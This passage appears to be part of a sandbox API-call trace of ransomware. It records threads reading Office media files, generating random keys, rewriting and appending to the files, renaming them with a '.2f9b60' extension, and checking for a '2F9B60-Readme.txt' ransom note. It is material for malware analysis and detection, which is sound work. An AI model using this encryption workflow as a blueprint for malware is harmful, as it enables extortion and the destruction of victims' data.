Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x10373568 [0131.034] ReadFile (in: hFile=0x1ac0, lpBuffer=0x41f2e130, nNumberOfBytesToRead=0x1aa2, lpNumberOfBytesRead=0x2283fb70, lpOverlapped=0x0 | out: lpBuffer=0x41f2e130*, lpNumberOfBytesRead=0x2283fb70*=0x1aa2, lpOverlapped=0x0) returned 1 [0131.050] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.050] WriteFile (in: hFile=0x1ac0, lpBuffer=0x41f1b4e0*, nNumberOfBytesToWrite=0x1aa2, lpNumberOfBytesWritten=0x2283fb74, lpOverlapped=0x0 | out: lpBuffer=0x41f1b4e0*, lpNumberOfBytesWritten=0x2283fb74*=0x1aa2, lpOverlapped=0x0) returned 1 [0131.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0131.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266870 [0131.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266870) returned 1 [0131.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1b4e0) returned 1 [0131.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2e130) returned 1 [0131.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8693c0) returned 1 [0131.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0131.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20266870 [0131.067] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.067] WriteFile (in: hFile=0x1ac0, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2283fc90, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2283fc90*=0x10a, lpOverlapped=0x0) returned 1 [0131.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0131.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505290 [0131.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a20 [0131.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a20) returned 1 [0131.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0131.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a20 [0131.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a80 [0131.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a80) returned 1 [0131.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0131.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0131.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0131.085] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="4f") returned 2 [0131.085] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="b2") returned 2 [0131.085] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="6e") returned 2 [0131.085] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="11") returned 2 [0131.085] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="fd") returned 2 [0131.085] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="99") returned 2 [0131.085] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="fd") returned 2 [0131.085] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="1c") returned 2 [0131.085] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="49") returned 2 [0131.085] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="d8") returned 2 [0131.086] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="72") returned 2 [0131.086] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="f8") returned 2 [0131.086] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="9d") returned 2 [0131.086] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="84") returned 2 [0131.086] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="fe") returned 2 [0131.086] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="6a") returned 2 [0131.086] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="b6") returned 2 [0131.086] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="4a") returned 2 [0131.086] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="37") returned 2 [0131.086] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="b0") returned 2 [0131.086] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="d5") returned 2 [0131.086] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="d4") returned 2 [0131.086] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="47") returned 2 [0131.086] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="d0") returned 2 [0131.086] RtlInitAnsiString (in: DestinationString=0x2283fd08, SourceString="4fb26e11fd99fd1c49d872f89d84fe6ab64a37b0d5d447d0" | out: DestinationString="4fb26e11fd99fd1c49d872f89d84fe6ab64a37b0d5d447d0") [0131.086] RtlAnsiStringToUnicodeString (in: DestinationString=0x2283fcd8, SourceString="4fb26e11fd99fd1c49d872f89d84fe6ab64a37b0d5d447d0", AllocateDestinationString=1 | out: DestinationString="4fb26e11fd99fd1c49d872f89d84fe6ab64a37b0d5d447d0") returned 0x0 [0131.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c19c0 [0131.087] wcscat (in: _Dest=0x4205cbf0, _Source="4fb26e11fd99" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4fb26e11fd99") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4fb26e11fd99" [0131.087] wcscat (in: _Dest=0x4205cbf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4fb26e11fd99.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4fb26e11fd99.2f9b60" [0131.087] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4fb26e11fd99.2f9b60", NtPathName=0x2283fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4fb26e11fd99.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b862460 [0131.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862460) returned 1 [0131.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf484a0) returned 1 [0131.089] NtQueryInformationFile (in: FileHandle=0x1ac0, IoStatusBlock=0x2283fd18, FileInformation=0x2283fd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2283fd18, FileInformation=0x2283fd28) returned 0x0 [0131.089] NtSetInformationFile (FileHandle=0x1ac0, IoStatusBlock=0x2283fd18, FileInformation=0x2283fd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0131.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0131.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c19c0) returned 1 [0131.092] FlushFileBuffers (hFile=0x1ac0) returned 1 [0131.106] CloseHandle (hObject=0x1ac0) returned 1 [0131.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85d020 [0131.108] wcscpy (in: _Dest=0x1b85d020, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0131.108] wcscat (in: _Dest=0x1b85d020, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0131.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0131.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d020) returned 1 [0131.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ae30) returned 1 Thread: id = 1726 os_tid = 0x1704 [0131.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf")) returned 0x20 [0131.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF", dwFileAttributes=0x20) returned 1 [0131.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac4 [0131.017] GetFileSizeEx (in: hFile=0x1ac4, lpFileSize=0x1d68f820 | out: lpFileSize=0x1d68f820*=5272) returned 1 [0131.017] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x1494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.017] ReadFile (in: hFile=0x1ac4, lpBuffer=0x1d68f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d68f7e8, lpOverlapped=0x0 | out: lpBuffer=0x1d68f7a0*, lpNumberOfBytesRead=0x1d68f7e8*=0x4, lpOverlapped=0x0) returned 1 [0131.035] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0131.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266780 [0131.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266870 [0131.035] NtQuerySystemTime (in: CurrentTime=0x1d68f6e0 | out: CurrentTime=0x1d68f6e0*=132462177362734000) returned 0x0 [0131.035] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0xd9f9b09 [0131.035] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x45615b2d [0131.035] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x3cfed223 [0131.035] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0xafaa704 [0131.035] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x78e7dd30 [0131.035] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x487df6f7 [0131.035] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x66c34541 [0131.035] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x20bbb304 [0131.035] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x7d78600c [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x1eaf346c [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x403afe3d [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x564c17da [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x7ab4e845 [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0xa804a60 [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x4221b200 [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x14dc6461 [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x5648713d [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x16470be9 [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x3aed7987 [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x66491145 [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x4f37699f [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x36153945 [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x6db2ca9b [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x78cb9665 [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x583c2df6 [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x3f57c1ac [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x6ea65263 [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x27c4df1c [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0xe072217 [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x5435a045 [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x1f8c6754 [0131.036] RtlRandomEx (in: Seed=0x1d68f6d0 | out: Seed=0x1d68f6d0) returned 0x1b6043aa [0131.049] ReadFile (in: hFile=0x1ac4, lpBuffer=0x41f100b0, nNumberOfBytesToRead=0x1498, lpNumberOfBytesRead=0x1d68f6d0, lpOverlapped=0x0 | out: lpBuffer=0x41f100b0*, lpNumberOfBytesRead=0x1d68f6d0*=0x1498, lpOverlapped=0x0) returned 1 [0131.052] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.052] WriteFile (in: hFile=0x1ac4, lpBuffer=0x201f5950*, nNumberOfBytesToWrite=0x1498, lpNumberOfBytesWritten=0x1d68f6d4, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesWritten=0x1d68f6d4*=0x1498, lpOverlapped=0x0) returned 1 [0131.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0131.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266990 [0131.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266990) returned 1 [0131.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0131.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f100b0) returned 1 [0131.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20266990 [0131.069] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.069] WriteFile (in: hFile=0x1ac4, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1d68f7f0, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x1d68f7f0*=0x10a, lpOverlapped=0x0) returned 1 [0131.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0131.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505290 [0131.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266840 [0131.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266840) returned 1 [0131.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0131.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266840 [0131.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266810 [0131.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266810) returned 1 [0131.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0131.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0131.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0131.096] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="32") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="26") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="79") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="36") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="9e") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="54") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="86") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="1e") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="19") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="a2") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="86") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="bc") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="07") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="75") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="5f") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="cf") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="13") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="fc") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="9b") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="52") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="91") returned 2 [0131.096] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="5b") returned 2 [0131.097] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="d5") returned 2 [0131.097] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="cd") returned 2 [0131.097] RtlInitAnsiString (in: DestinationString=0x1d68f868, SourceString="322679369e54861e19a286bc07755fcf13fc9b52915bd5cd" | out: DestinationString="322679369e54861e19a286bc07755fcf13fc9b52915bd5cd") [0131.097] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d68f838, SourceString="322679369e54861e19a286bc07755fcf13fc9b52915bd5cd", AllocateDestinationString=1 | out: DestinationString="322679369e54861e19a286bc07755fcf13fc9b52915bd5cd") returned 0x0 [0131.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1b80 [0131.097] wcscat (in: _Dest=0x4205cbf0, _Source="322679369e54" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\322679369e54") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\322679369e54" [0131.097] wcscat (in: _Dest=0x4205cbf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\322679369e54.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\322679369e54.2f9b60" [0131.097] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\322679369e54.2f9b60", NtPathName=0x1d68f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\322679369e54.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b862460 [0131.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862460) returned 1 [0131.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf484a0) returned 1 [0131.099] NtQueryInformationFile (in: FileHandle=0x1ac4, IoStatusBlock=0x1d68f878, FileInformation=0x1d68f888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d68f878, FileInformation=0x1d68f888) returned 0x0 [0131.099] NtSetInformationFile (FileHandle=0x1ac4, IoStatusBlock=0x1d68f878, FileInformation=0x1d68f888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0131.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0131.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b80) returned 1 [0131.103] FlushFileBuffers (hFile=0x1ac4) returned 1 [0131.118] CloseHandle (hObject=0x1ac4) returned 1 [0131.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050ae30 [0131.120] wcscpy (in: _Dest=0x2050ae30, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0131.120] wcscat (in: _Dest=0x2050ae30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0131.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0131.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ae30) returned 1 [0131.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a770) returned 1 Thread: id = 1727 os_tid = 0x1714 [0131.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf")) returned 0x20 [0131.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF", dwFileAttributes=0x20) returned 1 [0131.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac8 [0131.063] GetFileSizeEx (in: hFile=0x1ac8, lpFileSize=0x235cfa00 | out: lpFileSize=0x235cfa00*=4658) returned 1 [0131.063] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x122e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.063] ReadFile (in: hFile=0x1ac8, lpBuffer=0x235cf980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x235cf9c8, lpOverlapped=0x0 | out: lpBuffer=0x235cf980*, lpNumberOfBytesRead=0x235cf9c8*=0x4, lpOverlapped=0x0) returned 1 [0131.070] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a20 [0131.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a50 [0131.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a80 [0131.070] NtQuerySystemTime (in: CurrentTime=0x235cf8c0 | out: CurrentTime=0x235cf8c0*=132462177363046000) returned 0x0 [0131.070] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x323c8da9 [0131.070] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x6d7f1994 [0131.070] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x1aa68b08 [0131.070] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x77be09da [0131.070] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x61aa5d01 [0131.070] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x4bc4c46b [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x46452123 [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x2d9d2d66 [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x2924c632 [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x3e8a5fa4 [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x3e2abf63 [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x193502c8 [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x3343d7f7 [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x3bef565a [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x5ec57e29 [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x6ee8096d [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x6cfbc5c5 [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x7b67dffc [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x2c2dcfda [0131.071] RtlRandomEx (in: 